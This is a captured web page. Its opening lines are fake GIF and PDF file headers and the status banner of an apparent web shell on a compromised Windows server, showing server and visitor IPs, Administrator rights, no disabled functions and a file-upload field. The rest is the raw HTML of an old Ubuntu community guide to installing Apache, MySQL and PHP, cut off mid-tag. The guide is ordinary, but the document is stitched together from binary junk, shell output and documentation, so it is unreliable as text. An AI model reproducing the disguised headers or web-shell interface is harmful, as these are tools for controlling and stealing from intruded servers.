GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2608/_Archive/Lab08/Notes/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="robots" content="index,nofollow"> <title>ApacheMySQLPHP - Community Ubuntu Documentation</title> <script type="text/javascript" src="ApacheMySQLPHP_files/common.js"></script> <script type="text/javascript"> <!-- var search_hint = "Search"; //--> </script> <link rel="stylesheet" type="text/css" charset="utf-8" media="all" href="ApacheMySQLPHP_files/common.css"> <link rel="stylesheet" type="text/css" charset="utf-8" media="screen" href="ApacheMySQLPHP_files/screen.css"> <link rel="stylesheet" type="text/css" charset="utf-8" media="print" href="ApacheMySQLPHP_files/print.css"> <link rel="stylesheet" type="text/css" charset="utf-8" media="projection" href="ApacheMySQLPHP_files/projection.css"> <!-- css only for MSIE browsers --> <!--[if IE]> <link rel="stylesheet" type="text/css" charset="utf-8" media="all" href="/htdocs/ubuntunew/css/msie.css"> <![endif]--> <link rel="Start" href="https://help.ubuntu.com/community/UserDocumentation"> <link rel="Alternate" title="Wiki Markup" href="https://help.ubuntu.com/community/ApacheMySQLPHP?action=raw"> <link rel="Alternate" media="print" title="Print View" href="https://help.ubuntu.com/community/ApacheMySQLPHP?action=print"> <link rel="Search" href="https://help.ubuntu.com/community/FindPage"> <link rel="Index" href="https://help.ubuntu.com/community/TitleIndex"> <link rel="Glossary" href="https://help.ubuntu.com/community/WordIndex"> <link rel="Help" href="https://help.ubuntu.com/community/HelpOnFormatting"> </head><body dir="ltr" lang="en"> <div id="round" class="roundme"> <img id="topcap" alt="" src="ApacheMySQLPHP_files/cap-top.png"> <div id="layout" class="container clear-block"> <div id="header"> <div id="logo-floater"> <h1><a href="http://help.ubuntu.com/" title="Ubuntu Documentation"><img alt="Ubuntu" id="logo" src="ApacheMySQLPHP_files/logo.png"></a></h1> </div> <noscript> <form action="http://www.google.com/cse" id="cse-search-box"> <div> <input type="hidden" name="cx" value="003883529982892832976:e2vwumte3fq" /> <input type="hidden" name="ie" value="UTF-8" /> <input type="text" name="q" size="27" /> <input type="submit" name="sa" value="Search" /> </div> </form> </noscript> <script> document.write('<form action="https://help.ubuntu.com/search.html" id="cse-search-box">'); document.write(' <div>'); document.write(' <input type="hidden" name="cof" value="FORID:9" />'); document.write(' <input type="hidden" name="cx" value="003883529982892832976:e2vwumte3fq" />'); document.write(' <input type="hidden" name="ie" value="UTF-8" />'); document.write(' <input type="text" name="q" size="27" />'); document.write(' <input type="submit" name="sa" value="Search" />'); document.write(' </div>'); document.write('</form>'); </script><form action="https://help.ubuntu.com/search.html" id="cse-search-box"> <div> <input name="cof" value="FORID:9" type="hidden"> <input name="cx" value="003883529982892832976:e2vwumte3fq" type="hidden"> <input name="ie" value="UTF-8" type="hidden"> <input name="q" size="27" type="text"> <input name="sa" value="Search" type="submit"> </div></form> <div id="sitename"><a href="https://help.ubuntu.com/community"><img src="ApacheMySQLPHP_files/help-faq.png"><span>Community Documentation</span></a></div> </div> <!--header--> <ul id="loginbar"><li><a href="https://help.ubuntu.com/community/ApacheMySQLPHP?action=login" id="login" rel="nofollow">Login to Edit</a></li></ul> <!--1--> <div id="page" dir="ltr" lang="en"> <!--2--> <div id="breadcrumbs"> <a href="https://help.ubuntu.com/">Ubuntu Documentation</a> > <a href="https://help.ubuntu.com/community">Community Documentation</a> > <a class="backlink" href="https://help.ubuntu.com/community/ApacheMySQLPHP?action=fullsearch&context=180&value=linkto%3A%22ApacheMySQLPHP%22" rel="nofollow" title="Click to do a full-text search for this title">ApacheMySQLPHP</a> </div> <ul id="pagelocation"> <li><a class="backlink" href="https://help.ubuntu.com/community/ApacheMySQLPHP?action=fullsearch&context=180&value=linkto%3A%22ApacheMySQLPHP%22" rel="nofollow" title="Click to do a full-text search for this title">ApacheMySQLPHP</a></li> </ul> <!--3--><div dir="ltr" id="content" lang="en"><span class="anchor" id="top"></span> <span class="anchor" id="line-1"></span><p class="line867"><strong>Please do not make any edits to this article. Its contents are currently under review and being merged with the <em>Ubuntu Server Guide</em>. To find the Ubuntu Server Guide related to your specific version, please go to:</strong> <span class="anchor" id="line-2"></span><span class="anchor" id="line-3"></span></p><ul><li style="list-style-type: none;"><p class="line891"><strong><a class="https" href="https://help.ubuntu.com/">https://help.ubuntu.com/</a> and click on <em>Ubuntu Server Guide</em></strong> <span class="anchor" id="line-4"></span><span class="anchor" id="line-5"></span></p></li></ul><p class="line862">Parent page: <a href="https://help.ubuntu.com/community/Programming">Programming Applications</a> <span class="anchor" id="line-6"></span><span class="anchor" id="line-7"></span></p><div><table style="margin: 0pt 0pt 1em 1em; background: rgb(241, 241, 237) none repeat scroll 0% 0%; float: right; font-size: 0.9em; width: 40%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"><tbody><tr> <td style="padding: 0.5em;"><p class="line891"></p><div class="table-of-contents"><p class="table-of-contents-heading">Contents</p><ol><li><a href="#Check%20Requirements">Check Requirements</a></li><li><a href="#To%20install%20the%20default%20LAMP%20stack%20in%20Ubuntu%206.06%20LTS%20%28Dapper%20Drake%29">To install the default LAMP stack in Ubuntu 6.06 LTS (Dapper Drake)</a></li><li><a href="#To%20install%20the%20default%20LAMP%20stack%20in%20Ubuntu%207.04%20%28Feisty%20Fawn%29%20Ubuntu%207.10%20%28Gutsy%20Gibbon%29%20Ubuntu%208.04%20LTS%20%28Hardy%20Heron%29%20and%208.10%20%28Intrepid%20Ibex%29">To install the default LAMP stack in Ubuntu 7.04 (Feisty Fawn) Ubuntu 7.10 (Gutsy Gibbon) Ubuntu 8.04 LTS (Hardy Heron) and 8.10 (Intrepid Ibex)</a></li><li><a href="#Starting%20over,%20How%20to%20remove%20the%20LAMP%20stack">Starting over, How to remove the LAMP stack</a></li><li><a href="#Installing%20Apache%202">Installing Apache 2</a><ol><li><a href="#Troubleshooting%20Apache">Troubleshooting Apache</a></li><li><a href="#Virtual%20Hosts">Virtual Hosts</a></li></ol></li><li><a href="#Installing%20PHP%205">Installing PHP 5</a><ol><li><a href="#Troubleshooting%20PHP%205">Troubleshooting PHP 5</a></li></ol></li><li><a href="#Installing%20PHP%204">Installing PHP 4</a><ol><li><a href="#Troubleshooting%20PHP%204">Troubleshooting PHP 4</a></li></ol></li><li><a href="#Installing%20MYSQL%20with%20PHP%205">Installing MYSQL with PHP 5</a></li><li><a href="#Installing%20MYSQL%20with%20PHP%204">Installing MYSQL with PHP 4</a></li><li><a href="#After%20installing%20PHP">After installing PHP</a></li><li><a href="#After%20installing%20MySQL">After installing MySQL</a><ol><li><a href="#Set%20mysql%20bind%20address">Set mysql bind address</a></li><li><a href="#Set%20mysql%20root%20password">Set mysql root password</a></li><li><a href="#Create%20a%20mysql%20database">Create a mysql database</a></li><li><a href="#Create%20a%20mysql%20user">Create a mysql user</a></li><li><a href="#Backup-Settings">Backup-Settings</a></li><li><a href="#Alternatively">Alternatively</a></li></ol></li><li><a href="#Phpmyadmin%20and%20mysql-admin">Phpmyadmin and mysql-admin</a><ol><li><a href="#Troubleshooting%20Phpmyadmin%20&%20mysql-admin">Troubleshooting Phpmyadmin & mysql-admin</a></li><li><a href="#Alternative:%20install%20phpMyAdmin%20from%20source">Alternative: install phpMyAdmin from source</a></li><li><a href="#Mysql-admin">Mysql-admin</a></li><li><a href="#For%20more%20information">For more information</a></li></ol></li><li><a href="#Edit%20Apache%20Configuration">Edit Apache Configuration</a></li><li><a href="#Edit%20PHP%20Configuration%20to%20Work%20With%20MYSQL%20%28Ubuntu%20Dapper%29">Edit PHP Configuration to Work With MYSQL (Ubuntu Dapper)</a><ol><li><a href="#First%20solution">First solution</a></li><li><a href="#Second%20solution">Second solution</a></li></ol></li><li><a href="#Run,%20Stop,%20Test,%20And%20Restart%20Apache">Run, Stop, Test, And Restart Apache</a></li><li><a href="#Using%20Apache">Using Apache</a></li><li><a href="#Status">Status</a></li><li><a href="#Securing%20Apache">Securing Apache</a></li><li><a href="#Password-Protect%20a%20Directory">Password-Protect a Directory</a><ol><li><a href="#Password-Protect%20a%20Directory%20With%20.htaccess">Password-Protect a Directory With .htaccess</a></li></ol></li><li><a href="#thumbnails">thumbnails</a></li><li><a href="#Known%20problems">Known problems</a><ol><li><a href="#Skype%20incompatibility">Skype incompatibility</a></li></ol></li><li><a href="#Other%20Apache%20Options">Other Apache Options</a></li><li><a href="#Further%20Information">Further Information</a></li></ol></div></td> </tr> </tbody></table></div><span class="anchor" id="line-8"></span><p class="line862">This is to help people setup and install a <a class="http" href="http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29">LAMP</a> (<strong>L</strong>inux-<strong>A</strong>pache-<strong>M</strong>ySQL-<strong>P</strong>HP) server in Ubuntu, including Apache 2, PHP 5 (optionally PHP 4 in Ubuntu 6.10 and lower), and MySQL 4.1 or 5.0. <span class="anchor" id="line-9"></span><span class="anchor" id="line-10"></span></p><p class="line874">When installing from the Ubuntu 6.06 (Dapper Drake) "Server cd", you have the option of choosing to install a LAMP setup at the inital Ubuntu installation screen. That will install apache2, php5 and mysql 5.0. <span class="anchor" id="line-11"></span><span class="anchor" id="line-12"></span></p><p class="line867"> </p><h2 id="Check Requirements">Check Requirements</h2> <span class="anchor" id="line-13"></span><span class="anchor" id="line-14"></span><div><table><tbody><tr style="background-color: rgb(255, 242, 128);"> <td><p class="line862"> <img alt="{i}" src="ApacheMySQLPHP_files/icon-info.png" title="{i}" width="16" height="16"> As of <strong>Ubuntu 7.04</strong> (Feisty), all <strong>PHP4 packages</strong> have been <strong>dropped from the repositories</strong>, as the PHP4 branch is not being further developed/supported by the PHP Group. Everything in this article pertaining to PHP4 can therefore only be executed in Ubuntu 6.10 and lower. If you absolutely depend on PHP4 and would like to use the current Ubuntu release, you have to compile it from source.</p></td> </tr> </tbody></table></div><span class="anchor" id="line-15"></span><span class="anchor" id="line-16"></span><p class="line874">Some applications require php4 while others will work with php5. Be sure to install the version of php and the corresponding apache2 module for it. You cannot have both php4 and php5 modules running on the same instance of apache2 at the same time. Installing one may remove the other. <span class="anchor" id="line-17"></span><span class="anchor" id="line-18"></span></p><p class="line867"><em>If you have both php4 and php5 installed, be aware of which version of the apache2 php module you have. If libapache2-mod-php5 is already installed, the php4 package will install libapache-mod-php4 and not libapache<strong>2</strong>-mod-php4 package.</em> <span class="anchor" id="line-19"></span><span class="anchor" id="line-20"></span></p><p class="line867"><em>If libapache2-mod-php5 is not installed, installing php4 will install the apache2 php module (libapache2-mod-php4). See this <a href="https://help.ubuntu.com/community/ApacheMySQLPHP/AptPhp4Output">example</a>.</em> <span class="anchor" id="line-21"></span><span class="anchor" id="line-22"></span></p><p class="line874">Most web applications will use Apache2, php5 and mysql5.0. If no specific versions are mentioned in your web application's documentation, use those. <span class="anchor" id="line-23"></span><span class="anchor" id="line-24"></span><span class="anchor" id="line-25"></span></p><p class="line867"> </p><h2 id="To install the default LAMP stack in Ubuntu 6.06 LTS (Dapper Drake)">To install the default LAMP stack in Ubuntu 6.06 LTS (Dapper Drake)</h2> <span class="anchor" id="line-26"></span><span class="anchor" id="line-27"></span><p class="line862">If you did not use the LAMP installer option from the server cd but want to install those same packages without having to reinstall your operating system, use <a href="https://help.ubuntu.com/community/InstallingSoftware">any method</a> to install the following packages <span class="anchor" id="line-28"></span><span class="anchor" id="line-29"></span></p><p class="line867"><span class="anchor" id="line-30"></span><span class="anchor" id="line-31"></span></p><pre>apache2 php5-mysql libapache2-mod-php5 mysql-server</pre><span class="anchor" id="line-32"></span><span class="anchor" id="line-33"></span><p class="line862">All of those packages are in the Ubuntu 6.06 LTS (Dapper Drake) <strong>main</strong> repository. Once LAMP is installed, you need to set a mysql root password and then, depending on your web application, create a database, user and password. That's it! <span class="anchor" id="line-34"></span><span class="anchor" id="line-35"></span></p><p class="line867"> </p><h2 id="To install the default LAMP stack in Ubuntu 7.04 (Feisty Fawn) Ubuntu 7.10 (Gutsy Gibbon) Ubuntu 8.04 LTS (Hardy Heron) and 8.10 (Intrepid Ibex)">To install the default LAMP stack in Ubuntu 7.04 (Feisty Fawn) Ubuntu 7.10 (Gutsy Gibbon) Ubuntu 8.04 LTS (Hardy Heron) and 8.10 (Intrepid Ibex)</h2> <span class="anchor" id="line-36"></span><span class="anchor" id="line-37"></span><p class="line874">As of the 7.04 release, the Ubuntu base system includes Tasksel. You can either install LAMP using tasksel or install the LAMP packages as detailed above. <span class="anchor" id="line-38"></span><span class="anchor" id="line-39"></span></p><p class="line867"><span class="anchor" id="line-40"></span><span class="anchor" id="line-41"></span></p><pre>sudo tasksel install lamp-server</pre><span class="anchor" id="line-42"></span><span class="anchor" id="line-43"></span><p class="line862">See <a href="https://help.ubuntu.com/community/Tasksel">Tasksel</a> <span class="anchor" id="line-44"></span><span class="anchor" id="line-45"></span></p><p class="line867"> </p><h2 id="Starting over, How to remove the LAMP stack">Starting over, How to remove the LAMP stack</h2> <span class="anchor" id="line-46"></span><span class="anchor" id="line-47"></span><p class="line874">To remove the LAMP stack remove the following packages: <span class="anchor" id="line-48"></span></p><ul><li>Note: This assumes you have no other programs that require any of these packages. You might wish to simulate this removal first, and only remove the packages that don't cause removal of something desired. <span class="anchor" id="line-49"></span></li></ul><p class="line867"><span class="anchor" id="line-50"></span><span class="anchor" id="line-51"></span></p><pre>apache2 apache2-mpm-prefork apache2-utils apache2.2-common libapache2-mod-php5 libapr1 libaprutil1 libdbd-mysql-perl libdbi-perl libmysqlclient15off libnet-daemon-perl libplrpc-perl libpq5 mysql-client-5.0 mysql-common mysql-server mysql-server-5.0 php5-common php5-mysql</pre><span class="anchor" id="line-52"></span><span class="anchor" id="line-53"></span><p class="line874">To also remove the debconf data, use the purge option when removing. To get rid of any configurations you may have made to apache, manually remove the /etc/apache2 directory once the packages have been removed. <span class="anchor" id="line-54"></span><span class="anchor" id="line-55"></span></p><p class="line867"> </p><h2 id="Installing Apache 2">Installing Apache 2</h2> <span class="anchor" id="line-56"></span><p class="line862">To only install the apache2 webserver, use <a href="https://help.ubuntu.com/community/InstallingSoftware">any method</a> to install <span class="anchor" id="line-57"></span><span class="anchor" id="line-58"></span></p><p class="line867"><span class="anchor" id="line-59"></span><span class="anchor" id="line-60"></span></p><pre>apache2</pre><span class="anchor" id="line-61"></span><span class="anchor" id="line-62"></span><p class="line867"> </p><h3 id="Troubleshooting Apache">Troubleshooting Apache</h3> <span class="anchor" id="line-63"></span><p class="line874">If you get this error: <span class="anchor" id="line-64"></span><span class="anchor" id="line-65"></span></p><p class="line867"><em>apache2: Could not determine the server's fully qualified domain name, using 127.0.0.1 for <a class="nonexistent" href="https://help.ubuntu.com/community/ServerName">ServerName</a></em> <span class="anchor" id="line-66"></span><span class="anchor" id="line-67"></span></p><p class="line874">then use a text editor such as "sudo nano" at the command line or "gksudo gedit" on the desktop to create a new file, <span class="anchor" id="line-68"></span><span class="anchor" id="line-69"></span><span class="anchor" id="line-70"></span></p><pre>sudo nano /etc/apache2/conf.d/fqdn</pre><span class="anchor" id="line-71"></span><p class="line874">or <span class="anchor" id="line-72"></span><span class="anchor" id="line-73"></span><span class="anchor" id="line-74"></span></p><pre>gksu "gedit /etc/apache2/conf.d/fqdn"</pre><span class="anchor" id="line-75"></span><p class="line874">then add <span class="anchor" id="line-76"></span><span class="anchor" id="line-77"></span><span class="anchor" id="line-78"></span></p><pre>ServerName localhost</pre><span class="anchor" id="line-79"></span><p class="line874">to the file and save. This can all be done in a single command with the following: <span class="anchor" id="line-80"></span><span class="anchor" id="line-81"></span><span class="anchor" id="line-82"></span></p><pre>echo "ServerName localhost" | sudo tee /etc/apache2/conf.d/fqdn</pre><span class="anchor" id="line-83"></span><span class="anchor" id="line-84"></span><p class="line867"> </p><h3 id="Virtual Hosts">Virtual Hosts</h3> <span class="anchor" id="line-85"></span><p class="line862">Apache2 has the concept of sites, which are separate configuration files that Apache2 will read. These are available in <tt>/etc/apache2/sites-available</tt>. By default, there is one site available called <em>default</em> this is what you will see when you browse to <a class="http" href="http://localhost/">http://localhost</a> or <a class="http" href="http://127.0.0.1/">http://127.0.0.1</a>. You can have many different site configurations available, and activate only those that you need. <span class="anchor" id="line-86"></span><span class="anchor" id="line-87"></span></p><p class="line862">As an example, we want the default site to be <tt>/home/user/public_html/</tt>. To do this, we must create a new site and then enable it in Apache2. <span class="anchor" id="line-88"></span><span class="anchor" id="line-89"></span></p><p class="line874">To create a new site: <span class="anchor" id="line-90"></span><span class="anchor" id="line-91"></span></p><ul><li><p class="line862">Copy the default website as a starting point. <tt>sudo cp /etc/apache2/sites-available/default /etc/apache2/sites-available/mysite </tt> <span class="anchor" id="line-92"></span></p></li><li><p class="line862">Edit the new configuration file in a text editor "sudo nano" on the command line or "gksudo gedit", for example: <tt>gksudo gedit /etc/apache2/sites-available/mysite</tt> <span class="anchor" id="line-93"></span></p></li><li><p class="line862">Change the <tt>DocumentRoot</tt> to point to the new location. For example, <tt>/home/user/public_html/</tt> <span class="anchor" id="line-94"></span></p></li><li><p class="line862">Change the <tt>Directory</tt> directive, replace <tt><Directory /var/www/></tt> to <tt><Directory /home/user/public_html/></tt> <span class="anchor" id="line-95"></span></p></li><li><p class="line891"><em>You can also set separate logs for each site. To do this, change the <tt>ErrorLog</tt> and <tt>CustomLog</tt> directives. This is optional, but handy if you have many sites</em> <span class="anchor" id="line-96"></span></p></li><li>Save the file <span class="anchor" id="line-97"></span><span class="anchor" id="line-98"></span></li></ul><p class="line862">Now, we must deactivate the old site, and activate our new one. Ubuntu provides two small utilities that take care of this: a2ensite (<strong>a</strong>pache<strong>2en</strong>able <strong>site</strong>) and a2dissite (<strong>a</strong>pache<strong>2dis</strong>able <strong>site</strong>). <span class="anchor" id="line-99"></span><span class="anchor" id="line-100"></span></p><p class="line867"><span class="anchor" id="line-101"></span><span class="anchor" id="line-102"></span></p><pre>sudo a2dissite default && sudo a2ensite mysite</pre><span class="anchor" id="line-103"></span><span class="anchor" id="line-104"></span><p class="line874">Finally, we restart Apache2: <span class="anchor" id="line-105"></span><span class="anchor" id="line-106"></span></p><p class="line867"><span class="anchor" id="line-107"></span><span class="anchor" id="line-108"></span></p><pre>sudo /etc/init.d/apache2 restart</pre><span class="anchor" id="line-109"></span><span class="anchor" id="line-110"></span><p class="line867"><em>If you have not created <tt>/home/user/public_html/</tt>, you will receive an warning message</em> <span class="anchor" id="line-111"></span><span class="anchor" id="line-112"></span></p><p class="line862">To test the new site, create a file in <tt>/home/user/public_html/</tt>: <span class="anchor" id="line-113"></span><span class="anchor" id="line-114"></span></p><p class="line867"><span class="anchor" id="line-115"></span><span class="anchor" id="line-116"></span></p><pre>echo '<b>Hello! It is working!</b>' > /home/user/public_html/index.html</pre><span class="anchor" id="line-117"></span><span class="anchor" id="line-118"></span><p class="line862">Finally, browse to <a class="http" href="http://localhost/">http://localhost/</a> <span class="anchor" id="line-119"></span><span class="anchor" id="line-120"></span></p><p class="line867"> </p><h2 id="Installing PHP 5">Installing PHP 5</h2> <span class="anchor" id="line-121"></span><p class="line862">To only install PHP5. use <a href="https://help.ubuntu.com/community/InstallingSoftware">any method</a> to install <span class="anchor" id="line-122"></span><span class="anchor" id="line-123"></span></p><p class="line867"><span class="anchor" id="line-124"></span><span class="anchor" id="line-125"></span></p><pre>php5</pre><span class="anchor" id="line-126"></span><span class="anchor" id="line-127"></span><p class="line874">If PHP4 is present on your system, also install <span class="anchor" id="line-128"></span><span class="anchor" id="line-129"></span></p><p class="line867"><span class="anchor" id="line-130"></span><span class="anchor" id="line-131"></span></p><pre>libapache2-mod-php5</pre><span class="anchor" id="line-132"></span><span class="anchor" id="line-133"></span><span class="anchor" id="line-134"></span><p class="line867"> </p><h3 id="Troubleshooting PHP 5">Troubleshooting PHP 5</h3> <span class="anchor" id="line-135"></span><span class="anchor" id="line-136"></span><p class="line862">Does your browser ask if you want to <strong>download the php</strong> file instead of displaying it? If Apache is not actually parsing the php after you restarted it, install <tt>libapache2-mod-php5</tt>. It is installed when you install the <tt>php5</tt> package, but may have been removed inadvertently by packages which need to run a different version of php. <span class="anchor" id="line-137"></span><span class="anchor" id="line-138"></span></p><p class="line862">You may also need to actually enable it, by doing <tt>sudo a2enmod php5</tt> followed by <tt>sudo /etc/init.d/apache2 restart</tt>. If <tt>sudo a2enmod php5</tt> returns "$ This module does not exist!", you should purge (not just remove) the <tt>libapache2-mod-php5</tt> package and reinstall it. <span class="anchor" id="line-139"></span><span class="anchor" id="line-140"></span></p><p class="line874">Be sure to clear your browser's cache before testing your site again. <span class="anchor" id="line-141"></span><span class="anchor" id="line-142"></span><span class="anchor" id="line-143"></span></p><p class="line867"> </p><h2 id="Installing PHP 4">Installing PHP 4</h2> <span class="anchor" id="line-144"></span><p class="line862">To install PHP4, Use <a href="https://help.ubuntu.com/community/InstallingSoftware">any method</a> to install <span class="anchor" id="line-145"></span><span class="anchor" id="line-146"></span></p><p class="line867"><span class="anchor" id="line-147"></span><span class="anchor" id="line-148"></span></p><pre>php4</pre><span class="anchor" id="line-149"></span><span class="anchor" id="line-150"></span><p class="line874">If PHP5 is present on your system, installing php4 will install the php module for apache (version 1.3) and not apache2. To use php4 with apache2, install <span class="anchor" id="line-151"></span><span class="anchor" id="line-152"></span></p><p class="line867"><span class="anchor" id="line-153"></span><span class="anchor" id="line-154"></span></p><pre>libapache2-mod-php4</pre><span class="anchor" id="line-155"></span><span class="anchor" id="line-156"></span><span class="anchor" id="line-157"></span><p class="line867"> </p><h3 id="Troubleshooting PHP 4">Troubleshooting PHP 4</h3> <span class="anchor" id="line-158"></span><p class="line862">Does your browser ask if you want to <strong>download the php</strong> file instead of displaying it? If Apache is not actually parsing the php after you restarted it, install <tt>libapache2-mod-php4</tt>. It is installed when you install the <tt>php4</tt> package, but may have been removed inadvertently by packages which need to run a different version of php. <span class="anchor" id="line-159"></span><span class="anchor" id="line-160"></span></p><p class="line862">You may also need to actually enable it, by doing <tt>sudo a2enmod php4</tt> followed by <tt>sudo /etc/init.d/apache2 restart</tt>. If <tt>sudo a2enmod php4</tt> returns "$ This module does not exist!", you should purge (not just remove) the <tt>libapache2-mod-php5</tt> package and reinstall it. <span class="anchor" id="line-161"></span><span class="anchor" id="line-162"></span></p><p class="line874">Be sure to clear your browser's cache before testing your site again. <span class="anchor" id="line-163"></span><span class="anchor" id="line-164"></span></p><p class="line867"> </p><h2 id="Installing MYSQL with PHP 5">Installing MYSQL with PHP 5</h2> <span class="anchor" id="line-165"></span><span class="anchor" id="line-166"></span><p class="line862">Use <a href="https://help.ubuntu.com/community/InstallingSoftware">any method</a> to install <span class="anchor" id="line-167"></span><span class="anchor" id="line-168"></span></p><p class="line867"><span class="anchor" id="line-169"></span><span class="anchor" id="line-170"></span></p><pre>mysql-server libapache2-mod-auth-mysql php5-mysql</pre><span class="anchor" id="line-171"></span><span class="anchor" id="line-172"></span><span class="anchor" id="line-173"></span><p class="line867"> </p><h2 id="Installing MYSQL with PHP 4">Installing MYSQL with PHP 4</h2> <span class="anchor" id="line-174"></span><span class="anchor" id="line-175"></span><p class="line862">First enable the universe repository since the packages are not in <em>main</em> <span class="anchor" id="line-176"></span><span class="anchor" id="line-177"></span><span class="anchor" id="line-178"></span></p><ul><li><p class="line891"><a href="https://help.ubuntu.com/community/Repositories/CommandLine">I am using Ubuntu server (command line)</a> <span class="anchor" id="line-179"></span></p></li><li><p class="line891"><a href="https://help.ubuntu.com/community/AddingRepositoriesHowto">I am using a desktop</a> <span class="anchor" id="line-180"></span><span class="anchor" id="line-181"></span></p></li></ul><p class="line862">Use <a href="https://help.ubuntu.com/community/InstallingSoftware">any method</a> to install <span class="anchor" id="line-182"></span><span class="anchor" id="line-183"></span></p><p class="line867"><span class="anchor" id="line-184"></span><span class="anchor" id="line-185"></span></p><pre>mysql-server libapache2-mod-auth-mysql php4-mysql</pre><span class="anchor" id="line-186"></span><span class="anchor" id="line-187"></span><p class="line867"> </p><h2 id="After installing PHP">After installing PHP</h2> <span class="anchor" id="line-188"></span><span class="anchor" id="line-189"></span><p class="line862">You may need to increase the memory limit that PHP imposes on a script. Edit the /etc/php5/apache2/php.ini file and increase the <em>memory_limit</em> value. <span class="anchor" id="line-190"></span><span class="anchor" id="line-191"></span><span class="anchor" id="line-192"></span></p><p class="line867"> </p><h2 id="After installing MySQL">After installing MySQL</h2> <span class="anchor" id="line-193"></span><span class="anchor" id="line-194"></span><p class="line867"> </p><h3 id="Set mysql bind address">Set mysql bind address</h3> <span class="anchor" id="line-195"></span><span class="anchor" id="line-196"></span><p class="line862">Before you can access the database <strong>from other</strong> computers in your network, you have to change its bind address. <span class="anchor" id="line-197"></span><strong>Note that this can be a security problem, because your database can be accessed by others computers than your own. <span class="anchor" id="line-198"></span>Skip this step if the applications which require mysql are running on the same machine.</strong> <span class="anchor" id="line-199"></span><span class="anchor" id="line-200"></span></p><p class="line874">type: <span class="anchor" id="line-201"></span><span class="anchor" id="line-202"></span><span class="anchor" id="line-203"></span></p><pre>nano /etc/mysql/my.cnf</pre><span class="anchor" id="line-204"></span><span class="anchor" id="line-205"></span><p class="line874">and change the line: <span class="anchor" id="line-206"></span><span class="anchor" id="line-207"></span><span class="anchor" id="line-208"></span></p><pre>bind-address = localhost</pre><span class="anchor" id="line-209"></span><p class="line874">to your own internal ip address e.g. 192.168.1.20 <span class="anchor" id="line-210"></span><span class="anchor" id="line-211"></span><span class="anchor" id="line-212"></span></p><pre>bind-address = 192.168.1.20</pre><span class="anchor" id="line-213"></span><span class="anchor" id="line-214"></span><p class="line874">If your ip address is dynamic you can also comment out the bind-address line and it will default to your current ip. <span class="anchor" id="line-215"></span><span class="anchor" id="line-216"></span></p><p class="line874">If you try to connect without changing the bind-address you will recieve a "Can not connect to mysql error 10061". <span class="anchor" id="line-217"></span><span class="anchor" id="line-218"></span></p><p class="line867"> </p><h3 id="Set mysql root password">Set mysql root password</h3> <span class="anchor" id="line-219"></span><span class="anchor" id="line-220"></span><p class="line874">Before accessing the database by console you need to type: <span class="anchor" id="line-221"></span><span class="anchor" id="line-222"></span><span class="anchor" id="line-223"></span></p><pre>mysql -u root</pre><span class="anchor" id="line-224"></span><span class="anchor" id="line-225"></span><p class="line874">At the mysql console type: <span class="anchor" id="line-226"></span><span class="anchor" id="line-227"></span><span class="anchor" id="line-228"></span></p><pre>mysql> SET PASSWORD FOR 'root'@'localhost' = PASSWORD('yourpassword');</pre><span class="anchor" id="line-229"></span><span class="anchor" id="line-230"></span><p class="line874">A successful mysql command will show: <span class="anchor" id="line-231"></span><span class="anchor" id="line-232"></span></p><p class="line867"><em>Query OK, 0 rows affected (0.00 sec) </em> <span class="anchor" id="line-233"></span><span class="anchor" id="line-234"></span></p><p class="line874">Mysql commands can span several lines. Do not forget to end your mysql command with a semicolon. <span class="anchor" id="line-235"></span><span class="anchor" id="line-236"></span></p><p class="line867"><strong>Note:</strong> If you have already set a password for the mysql root, you will need to use: <span class="anchor" id="line-237"></span><span class="anchor" id="line-238"></span><span class="anchor" id="line-239"></span></p><pre>mysql -u root -p</pre><span class="anchor" id="line-240"></span><p class="line862">(Did you forget the mysql-root password? See <a href="https://help.ubuntu.com/community/MysqlPasswordReset">MysqlPasswordReset</a>.) <span class="anchor" id="line-241"></span><span class="anchor" id="line-242"></span></p><p class="line867"> </p><h3 id="Create a mysql database">Create a mysql database</h3> <span class="anchor" id="line-243"></span><span class="anchor" id="line-244"></span><p class="line867"><span class="anchor" id="line-245"></span><span class="anchor" id="line-246"></span></p><pre>mysql> CREATE DATABASE database1;</pre><span class="anchor" id="line-247"></span><span class="anchor" id="line-248"></span><p class="line867"> </p><h3 id="Create a mysql user">Create a mysql user</h3> <span class="anchor" id="line-249"></span><span class="anchor" id="line-250"></span><p class="line874">For creating a new user with all privileges (use only for troubleshooting), at mysql prompt type: <span class="anchor" id="line-251"></span><span class="anchor" id="line-252"></span><span class="anchor" id="line-253"></span></p><pre>mysql> GRANT ALL PRIVILEGES ON *.* TO 'yourusername'@'localhost' IDENTIFIED BY 'yourpassword' WITH GRANT OPTION;</pre><span class="anchor" id="line-254"></span><span class="anchor" id="line-255"></span><p class="line874">For creating a new user with fewer privileges (should work for most web applications) which can only use the database named "database1", at mysql prompt type: <span class="anchor" id="line-256"></span><span class="anchor" id="line-257"></span><span class="anchor" id="line-258"></span></p><pre>mysql> GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES ON database1.* TO 'yourusername'@'localhost' IDENTIFIED BY 'yourpassword';</pre><span class="anchor" id="line-259"></span><span class="anchor" id="line-260"></span><p class="line867"><em>yourusername</em> and <em>yourpassword</em> can be anything you like. <em>database1</em> is the name of the database the user gets access to. <em>localhost</em> is the location which gets access to your database. You can change it to '%' (or to hostnames or ip addresses) to allow connections from every location (or only from specific locations) to the database. <strong>Note, that this can be a security problem and should only be used for testing purposes!</strong> <span class="anchor" id="line-261"></span><span class="anchor" id="line-262"></span><span class="anchor" id="line-263"></span></p><p class="line874">To exit the mysql prompt type: <span class="anchor" id="line-264"></span><span class="anchor" id="line-265"></span><span 